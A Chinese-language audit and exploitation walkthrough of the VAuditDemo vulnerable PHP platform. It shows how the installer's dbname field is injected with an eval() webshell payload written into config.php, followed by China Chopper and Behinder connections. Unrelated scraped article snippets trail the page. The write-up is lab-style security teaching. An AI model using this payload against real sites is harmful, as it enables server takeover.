VAuditDemo安装漏洞
目录
VAuditDemo安装漏洞
index.php
header.php
config.php
lib.php
install.php
分析结果
漏洞利用
第一步:删除install.lock文件,访问 install.php 抓包
第二步:通过审计构造payload
第三步:修改抓包请求内容,写入payload
第四步:菜刀链接
VAuditDemo安装漏洞
第一步访问首页http://192.168.230.188:82/
这个应该就是默认首页,尝试访问http://192.168.230.188:82/index.php
果然,依旧是这个界面,我们进入源代码,开始审计分析
index.php
<?php require_once('sys/config.php');require_once('header.php');?><div class="row"><?php/* Include */if (isset($_GET['module'])){include($_GET['module'].'.inc');}else{?><div class="jumbotron" style="text-align: center;"><h1><b>VAuditDemo</b></h1><p>一个简单的Web漏洞演练平台</p><br /></div><div class="col-lg-12"><h2>用於演示講解PHP基本漏洞</h2><p></p></div><?php}?></div><?phprequire_once('footer.php');?>
首先包含了 sys/config.php 和 header.php两个文件 在下方 通过可控参数又包含了一个 $_GET['module'].'.inc'
文件 ,一共存在三次文件包含,并且第三个文件包含存在用户可控参数 module ,有可能存在文件包含漏洞
header.php
这个文件内容除了html标签就是SESSION变量,不存在可疑点
config.php
<?php// error_reporting(0);// 如果 $_SERVER["DOCUMENT_ROOT"].'/sys/install.lock' 文件不存在就跳转到安装页面if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){header("Location: /install/install.php");exit;}include_once('lib.php'); //config.php 和 lib.php 属于同级$host="localhost"; $username="root"; $password="p-0p-0p-0"; $database="vauditdemo"; $conn = mysql_connect($host,$username,$password);mysql_query('set names utf8',$conn);mysql_select_db($database, $conn) or die(mysql_error());if (!$conn){die('Could not connect: ' . mysql_error());exit;}session_start();?>
其中又包含了 lib.php 这个文件 这里除了 $_SERVER["DOCUMENT_ROOT"] 没有其他参数是可变的了,我们再去看看包含的 lib.php
lib.php
if( !get_magic_quotes_gpc() ) {$_GET = sec ( $_GET );$_POST = sec ( $_POST );$_COOKIE = sec ( $_COOKIE ); }$_SERVER = sec ( $_SERVER );function sec( &$array ) {if ( is_array( $array ) ) {foreach ( $array as $k => $v ) {$array [$k] = sec ( $v );}} else if ( is_string( $array ) ) {$array = addslashes( $array );} else if ( is_numeric( $array ) ) {$array = intval( $array );}return $array;}function sqlwaf( $str ) {.......}function clean_input( $dirty ) {return mysql_real_escape_string( stripslashes( $dirty ) );}
其中对SQL注入做了极强的防范,同时对POST请求中的参数也做了预防
该文件中除了 下面几句代码直接调用了,其余的都是函数,并且函数都是对输入的内容和POST传入的参数做预防,比如转义,waf等等
date_default_timezone_set('UTC');if( !get_magic_quotes_gpc() ) {$_GET = sec ( $_GET );$_POST = sec ( $_POST );$_COOKIE = sec ( $_COOKIE ); }$_SERVER = sec ( $_SERVER );
除了这个函数
function is_pic( $file_name ) {$extend =explode( "." , $file_name );$va=count( $extend )-1;if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) {return 1;}elsereturn 0;}
单单只是校验了文件名的后缀,我觉得可能存在文件上传绕过的可能性
install.php
if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {header( "Location: ../index.php" );}require_once '../header.php';
这是install.php 文件的开头 如果该文件存在,则跳转到默认首页,但是如果文件不存在呢?根据代码的分析,如果if判断中的文件不存在,那么就不会跳转页面到默认首页,然后包含 header.php 并运行下面的所有代码
if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){header("Location: /install/install.php");exit;}include_once('lib.php'); //config.php 和 lib.php 属于同级
这是 config.php 文件的开头 如果 该文件不存在则跳转页面进行安装
可以发现,二者的区别除了判断文件是否存在之外,config.php 文件中多了 exit; 这句代码,这句代码的问题所在是什么呢,有与没有的的区别是什么呢?
通过代码调试可以得知,如果二者判断都成立,那么 config.php 则跳转页面并结束后面的代码,但是 install.php 就不一样了,不跳转页面,同时运行剩下的所有代码
既然这样,继续分析 install.php 文件的剩余代码,主要寻找用户可控参数
if ( $_POST ) {if ( $_POST["dbhost"] == "" ) {exit( '数据库连接地址不能为空' );}elseif ( $_POST["dbuser"] == "" ) {exit( '数据库数据库登录名' );}elseif ( $_POST["dbname"] == "" ) {exit( '请先创建数据库名称' );}$dbhost = $_POST["dbhost"];$dbuser = $_POST["dbuser"];$dbpass = $_POST["dbpass"];$dbname = $_POST["dbname"];$con = mysql_connect( $dbhost, $dbuser, $dbpass );if ( !$con ) {die( '数据库链接出错,请检查账号密码及地址是否正确: ' . mysql_error() );}$result = mysql_query('show databases;') or die ( mysql_error() );;While($row = mysql_fetch_assoc($result)){ $data[] = $row['Database'];}unset($result, $row);if (in_array(strtolower($dbname), $data)){mysql_close();echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";exit();}mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );
可以发现,对于POST请求的内容,除了判断是否为空,其余的并未做任何校验,同时 $dbname 竟然还作为 SQL 语句中的一部分,这绝对可以说是一个漏洞了
继续向下看,最后的 footer.php 文件,和最开始的 header.php 文件一样,都是html元素标签等等,不存在可疑点
$str_tmp="<?php\r\n";$str_end="?>";$str_tmp.="\r\n";$str_tmp.="error_reporting(0);\r\n";$str_tmp.="\r\n";$str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";$str_tmp.="\r\n";$str_tmp.="include_once('../sys/lib.php');\r\n";$str_tmp.="\r\n";$str_tmp.="\$host=\"$dbhost\"; \r\n";$str_tmp.="\$username=\"$dbuser\"; \r\n";$str_tmp.="\$password=\"$dbpass\"; \r\n";$str_tmp.="\$database=\"$dbname\"; \r\n";$str_tmp.="\r\n";$str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";$str_tmp.="mysql_query('set names utf8',\$conn);\r\n";$str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";$str_tmp.="if (!\$conn)\r\n";$str_tmp.="{\r\n";$str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";$str_tmp.="\texit;\r\n";$str_tmp.="}\r\n";$str_tmp.="\r\n";$str_tmp.="session_start();\r\n";$str_tmp.="\r\n";$str_tmp.=$str_end;$fp=fopen( "../sys/config.php", "w" );fwrite( $fp, $str_tmp );fclose( $fp );<?phprequire_once '../footer.php';?>
但是,我们可以看到,代码会将用户可控的参数拼接后写入 config.php 文件
我们再看看,是将什么样的内容写进了 config.php ,原来 整个 config.php 文件的内容都是这样生成的,那么就说得通了 而且 config.php 还是具有可写权限的,并且 config.php 中部分内容是由用户控制的
分析结果
-
用户首次访问先访问 index.php ,由于该文件包含了 config.php 和 header.php 所以,也会第一时间执行这两个文件
-
对于 config.php 文件来说,由于并不存在 install.lock 文件,所以访问的第一时间又会跳转到 install.php
-
而在install.php 文件中,存在四个用户可控参数,并且第四个参数作为SQL语句执行,最终将执行的结果写入 config.php ,config.php 文件的内容也是由此而来
基于上面的分析,可以得出结论,用户在安装时,会通过 POST 提交内容,内容分别是 $dbhost $dbuser $dbpass $dbname
四个值,并且 $dbhost $dbuser $dbpass
这三个值是作为连接数据库时使用的 ,而 $dbname
值,作为SQL语句执行的一部分
所以可以得出结论,安装过程中,$dbname
值,存在php代码注入漏洞,与 config.php 文件相结合,有木马写入的漏洞
漏洞利用
代码分析发现,一切的问题开始是判断 install.lock 文件是否存在,在 install.php 文件中 只有 install.lock 文件不存在的时候 才不会进行跳转,否则 该文件存在 ,用户一访问 install.php 给出的响应中有 header( "Location: ../index.php" );
浏览器解析响应后一看就会跳转,即使后面代码可以执行,前端也是无法显示后面的代码的,自然也就无法利用了。有些人可能会想,那前端页面无法访问,可以抓包啊,事实上一旦 浏览器解析到 Location 就直接跳转了,哪还来的 install.php 页面,哪来的 POST 提交正文
第一步:删除install.lock文件,访问 install.php 抓包
先访问到这个页面
然后点击安装,同时开启抓包
第二步:通过审计构造payload
install.php
if ( $_POST ) {if ( $_POST["dbhost"] == "" ) {exit( '数据库连接地址不能为空' );}elseif ( $_POST["dbuser"] == "" ) {exit( '数据库数据库登录名' );}elseif ( $_POST["dbname"] == "" ) {exit( '请先创建数据库名称' );}$dbhost = $_POST["dbhost"];$dbuser = $_POST["dbuser"];$dbpass = $_POST["dbpass"];$dbname = $_POST["dbname"];$con = mysql_connect( $dbhost, $dbuser, $dbpass );if ( !$con ) {die( '数据库链接出错,请检查账号密码及地址是否正确: ' . mysql_error() );}$result = mysql_query('show databases;') or die ( mysql_error() );;While($row = mysql_fetch_assoc($result)){ $data[] = $row['Database'];}unset($result, $row);if (in_array(strtolower($dbname), $data)){mysql_close();echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";exit();}mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );
config.php
$database="$dbname";
那么就存在两点
-
CREATE DATABASE $dbname
这句话必须执行成功,不能报错,报错就die -
$database="$dbname";
这句话也不能报错,需要满足php语法
"CREATE DATABASE $dbname" -> $database="$dbname";"CREATE DATABASE vauditdemo2" -> $database="vauditdemo2";"CREATE DATABASE vauditdemo2-- ";" -> $database="vauditdemo2-- ";";"CREATE DATABASE vauditdemo2-- ";@eval($_POST[a]);//" -> $database="vauditdemo2-- ";@eval($_POST[a]);//";
还是不放心,用navicat测试一下 CREATE DATABASE vauditdemo2-- ";@eval($_POST[a]);
SQL语句执行成功,创建数据库vauditdemo2。再分析一下 $database="vauditdemo2-- ";@eval($_POST[a]);//";
这句代码是否存在php语法错误(双引号都闭合,分号完全,多余部分已被注释),成了!
至于
$_POST[a]
中的 a 为什么没有再加单引号和双引号,是因为怕被过滤或者报错啥的,当然,不加引号也是可以正常执行的。
第三步:修改抓包请求内容,写入payload
发送之后,查看响应,没有报错,去访问系统
查看index.php包含config.php,查看config.php发现
然后访问系统,并POST提交参数a,成功。
注意参数a传递时,由于 eval() 函数是直接执行代码,而php的代码必须要有 ; ,所以传参时也需要带分号。
第四步:菜刀链接
链接成功,隐藏木马,并修改数据库名称为原来的。
重新隐藏木马,并重新建立连接
上传冰蝎马,并使用冰蝎链接(冰蝎马默认链接密码是rebeyond)
相关文章:
VAuditDemo安装漏洞
目录 VAuditDemo安装漏洞 index.php header.php config.php lib.php install.php 分析结果 漏洞利用 第一步:删除install.lock文件,访问 install.php 抓包 第二步:通过审计构造payload 第三步:修改抓包请求内容&#x…...
算法学习-2024.8.16
一、Tensorrt学习补充 TensorRT支持INT8和FP16的计算。深度学习网络在训练时,通常使用 32 位或 16 位数据。TensorRT则在网络的推理时选用不这么高的精度,达到加速推断的目的。 TensorRT对于网络结构进行了重构,把一些能够合并的运算合并在了…...
ansible环境搭建
任务背景 公司的服务器越来越多, 维护⼀些简单的事情都会变得很繁琐。⽤ shell脚本来管理少量服务器效率还⾏, 服务器多了之后, shell脚本⽆ 法实现⾼效率运维。这种情况下,我们需要引⼊⾃动化运维⼯具, 对 多台服务器实现⾼效运维。 任务要求 通过管理服务器能够…...
在线陪玩App小程序源码开发:技术挑战与解决方案
随着互联网技术的飞速发展和用户需求的多样化,在线陪玩App小程序逐渐在游戏娱乐领域占据了一席之地。这类小程序不仅为用户提供了丰富的娱乐体验,也为开发者带来了新的机遇。然而,在开发过程中,数据处理、性能优化、系统扩展性和安…...
iOS profiles文件过期如何更新
创建发布用的Certificates 首先进入到https://developer.apple.com/account页面选择【证书】进入【新建证书】页面 点击【新建证书】按钮: 根据需求选中对应的【证书类型】,我选的是【Apple Distribution】, 开发者证书选择【Apple Devel…...
C/C++|C++标准库 string 流之std::ostringstream 和 std::istringstream 流
我们在 sstream 头文件中定义了三个类型来支持内存IO(ostringstream\istringstream\stringstream),这些类型可以向 string 写入数据,这里我们主要讲: std::ostringstream 和 std::istringstream( C Primer 中文版第五版) 以上的两个类型都继…...
Java-Redis
文章目录 基础基础内容使用场景/功能常见数据类型下载与安装可视化(多个)发布订阅功能事务两种持久化主从模式哨兵模式集群模式Cluster缓存淘汰过期删除缓存一致 Cache Aside缓存击穿缓存穿透缓存雪崩 实战内容配置文件配置Redis的BeanRedis为什么这么快…...
requests快速入门
1 安装requests库 如果你还没有安装requests库,可以通过pip安装: pip install requests 2 GET请求 GET请求通常用于从服务器请求数据。使用requests.get()函数可以发送GET请求。 2.1 基本使用 import requests url https://api.example.com/da…...
企业高性能web服务器——Nginx
# 企业高性能web服务器 1、Nginx 编译安装 1.1 编译安装 Nginx 这里下载nginx-1.24.0.tar.gz和nginx-1.26.1.tar.gz可以在官方网站上下载:https://nginx.org/en/download.html 示例:nginx-1.24.0.tar.gz #提前将编译安装出现问题的安装包下载好&…...
FreeSWITCH Java ESL Client Demo
1简介 在开启Java ESL Client编程之前,请先阅读《FreeSWITCH权威指南》学习什么是FreeSWITCH Event Socket。 Java连接FreeSWITCH的ESL可以采用两种模式:inbound和outbound。 Inbound模式:Java应用作为客户端主动连接到FreeSWITCH的内置TCP…...
手摸手系列之Linux下根据自己的jdk包构建docker镜像
项目在本地导出PDF文件正常,部署到Linux服务器docker容器中导出就报错,百撕不得姐,经查,docker依赖的openjdk版本是8u112版本,而我本地是8u421版本,那就升级jdk的小版本试试。 在docker的中央仓库[点我直达…...
tomcat相关
一、部署安装tomcat 在10和20上安装tomcat [root10 ~]# dnf install java-1.8.0-openjdk.x86_64 -y #安装java环境 [root10 ~]# tar zxf apache-tomcat-9.0.93.tar.gz -C /usr/local/ #安装并启动tomcat [root10 ~]# ln -s /usr/local/apache-tomcat-9.0.93/ /usr/local/tomcat…...
20240821给飞凌OK3588-C的核心板刷Rockchip原厂的Buildroot并启动
20240821给飞凌OK3588-C的核心板刷Rockchip原厂的Buildroot并启动 2024/8/21 15:22 viewproviewpro-ThinkBook-16-G5-IRH:~/repo_RK3588_Buildroot20240508$ viewproviewpro-ThinkBook-16-G5-IRH:~/repo_RK3588_Buildroot20240508$ ./build.sh lunch 3. rockchip_rk3588_evb7_…...
服务优雅上下线优雅停机
一、目的 服务发生线程锁住,需要下线服务时,保证请求中的接口不受影响,执行完后,再下线服务 二、步骤 *kill -15时执行改钩子函数 优雅停机 1.当线程锁住 2.运维那边监控到,然后进行kill -15 进程ID 3.代码这边监…...
什么是生信分析?深入探讨生物信息学的技术、方法与广泛应用
介绍 生物信息学分析,简称生信分析,是一个结合了生物学、计算机科学、信息学和统计学的多学科领域,旨在处理、分析和解释海量的生物数据。随着现代生物技术的发展,尤其是高通量测序(Next-Generation Sequencing, NGS&…...
JavaScript判断数组是否包含某个值
目录: 1.for循环/while循环2.数组的some方法3.数组的filter方法4.array.indexOf5.array.findIndex6.array.includes7.array.find8.set中的has方法 1.for循环/while循环 for循环: function contains(arr, val) {for (var i 0; i < arr.length; i) {if (arr[i] …...
C# - 如何在Windows系统中通过C#添加新的PATH条目至系统和用户环境变量
编写系统环境变量-->系统变量-->path-->添加新的列 01:直接写 using Microsoft.Win32; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks;namespace updatesystempath01 {class Program{stati…...
Unity | Shader基础知识(第二十二集:两次渲染)
目录 一、前言 二、“渲染两次” 三、本次成品介绍 四、第一次渲染代码 五、第二次渲染代码 六、截止目前的所有代码 七、调整代码 八、总结 一、前言 之前一直讲的shader文件中,都只写了一次CG代码。 为了大家对这部分的整体理解,我们这次渲…...
鸿蒙Harmony实战开发:Arkts构造函数
构造函数 类声明可以包含用于初始化对象状态的构造函数。 构造函数定义如下: constructor ([parameters]) {// ... } typescript 如果未定义构造函数,则会自动创建具有空参数列表的默认构造函数,例如: class Point {x: numbe…...
@vueuse/core使用useColorMode实现主题颜色切换
useColorMode 是一个在前端开发中常用的自定义钩子(Hook),尤其在需要支持深色模式和浅色模式切换的场景下。这个钩子可以根据用户的选择或系统设置动态调整页面样式。 一、安装和引入 npm install vueuse/core # 或者 yarn add vueuse/…...
生信分析入门:从基础知识到实践操作的全方位指南
随着生物学研究的数字化转型,生物信息学(简称生信)分析已经成为现代生命科学研究中的关键工具。对于刚开始接触生信分析的初学者来说,这个领域可能看起来复杂而陌生。然而,通过系统的学习和实践,生信分析可…...
【STM32 FreeRTOS】内存管理
除了FreeRTOS提供的动态内存管理方法,标准的C库也提供了函数malloc()和函数free()来实现动态的申请和释放内存。 为啥不用标准的C库自带的内存管理算法?因为标准C库的动态管理方法有如下缺点: 占用大量的代码空间,不适合用在资源…...
vue3+vite+cesium配置参考
在vite项目中使用Cesium的配置 关键: 资源目录的复制;CESIUM_BASE_URL的正确配置 //vite.config.js // ... // 安装打包复制资源插件,手动复制不需要 // npm i vite-plugin-static-copy import { viteStaticCopy } from vite-plugin-static-c…...
WEB应用服务器TOMCAT
知识点 一 、WEB技术 1、前端三大核心技术 1.1 HTML HTML ( HyperText Markup Language )超文本标记语言,它不同于一般的编程语言。超文本 即超出纯文本的范畴,例如:描述文本颜色、大小、字体等信息,或使…...
maven打包jar后运行提示“没有主清单属性”问题的几种解决方案
常用的几种maven项目打包后,jar运行提示“没有主清单属性”问题的解决方案,大部分都是要修改pom.xml文件,同时有几种自己常用的配置文件,主要供自用,勿喷。 第一种: <build><plugins><plug…...
计算机毕业设计选题推荐-民宿可视化分析-Python爬虫-随机森林算法
✨作者主页:IT毕设梦工厂✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…...
WKWebView加载项目中网页的资源图片路径异常
问题原因,将含有html的文件通过如下方式引入到工程中: 这种处理方式,当应用程序变以后,引入的文件会被全部放在Resources目录下,而忽略你原本的文件路径信息。因此导致出问题。 解决方案: 采用如下方式引…...
算法全面剖析
算法 查找算法: 顺序查找: 基本思想: 顺序查找也称为线形查找,属于无序查找算法。从数据结构线形表的一端开始,顺序扫描,依次将扫描到的结点关键字与给定值k相比较,若相等则表示查找成功&am…...
tp5php7.4配置sqlserver问题汇总
先修改database.php文件 查看php版本选择sqlserver扩展 通过百度网盘分享的文件:sqlserver 链接:https://pan.baidu.com/s/1zrIV8VWQZM9miLpyH01Aww?pwdxdgx 提取码:xdgx 通过我的分享链接复制自己需要的dll到php的ext下 在php.ini里添加扩…...
C语言随笔:字面量
字面量(Literal)是指程序源代码中直接写出的固定值。字面量用于表示数据常量,它们在程序编译时被直接解析并用于程序运行。 常见的字面量类型 整数字面量(Integer Literals) 描述:表示整数值。示例&#x…...
商务网站建设的一般流程是什么/什么是软文
临近2018年底,我们阿里云上的一台ECS服务器竟然被阿里云短信提示有挖矿程序,多次收到阿里云的短信提醒说什么服务器被植入挖矿程序,造成系统资源大量消耗;而且还收到CPU使用率达到百分之90的安全提醒,我们的服务器上并…...
wordpress 主题盗/网站服务器软件
arduino 推出了带有FPGA 的arduino 开发板 MKR VIDOR 4000。硬件创客带入了FPGA的时代,在这块开发板上带有Microchip SAMD21处理器(cortex-M0),一个Intel 的Cyclone FPGA(Cyclone 10CL016 FPGA )。FPGA 芯片…...
做网站设计的广告公司/企业网站推广外包
时间运算 >>> datetime.datetime.now() #当前年月 时间datetime.datetime(2018, 2, 13, 16, 12, 6, 850532)>>> datetime.datetime.now() datetime.timedelta(minutes10) #当前年月 时间 加上 参数时间minutes 10 (加上10分钟)datetime.datetime(…...
广17网站一起做网店/域名注册查询
版权声明:转载请联系本人,感谢配合!本站地址:http://blog.csdn.net/nomasp https://blog.csdn.net/NoMasp/article/details/50514606 翻译 你正在爬一个楼梯。它需要n步才能到底顶部。每次你可以爬1步或者2两步。那么你有多少种不…...
做网站没有数据/软文营销平台
出处:http://blog.csdn.net/notzuonotdied/article/details/69668519 在.ssh目录,执行以下命令行: sudo chmod 600 config转载于:https://www.cnblogs.com/YouXiangLiThon/p/7543240.html...
二级域名建立网站/手机百度搜索
更新(2018年9月)使用WooCommerce 3.0版,您需要:>改为使用woocommerce_before_calculate_totals钩子.>改用WC_Cart get_cart()方法>改用WC_product set_price()方法这是代码:add_action( woocommerce_before_calculate_totals, add_custom_price…...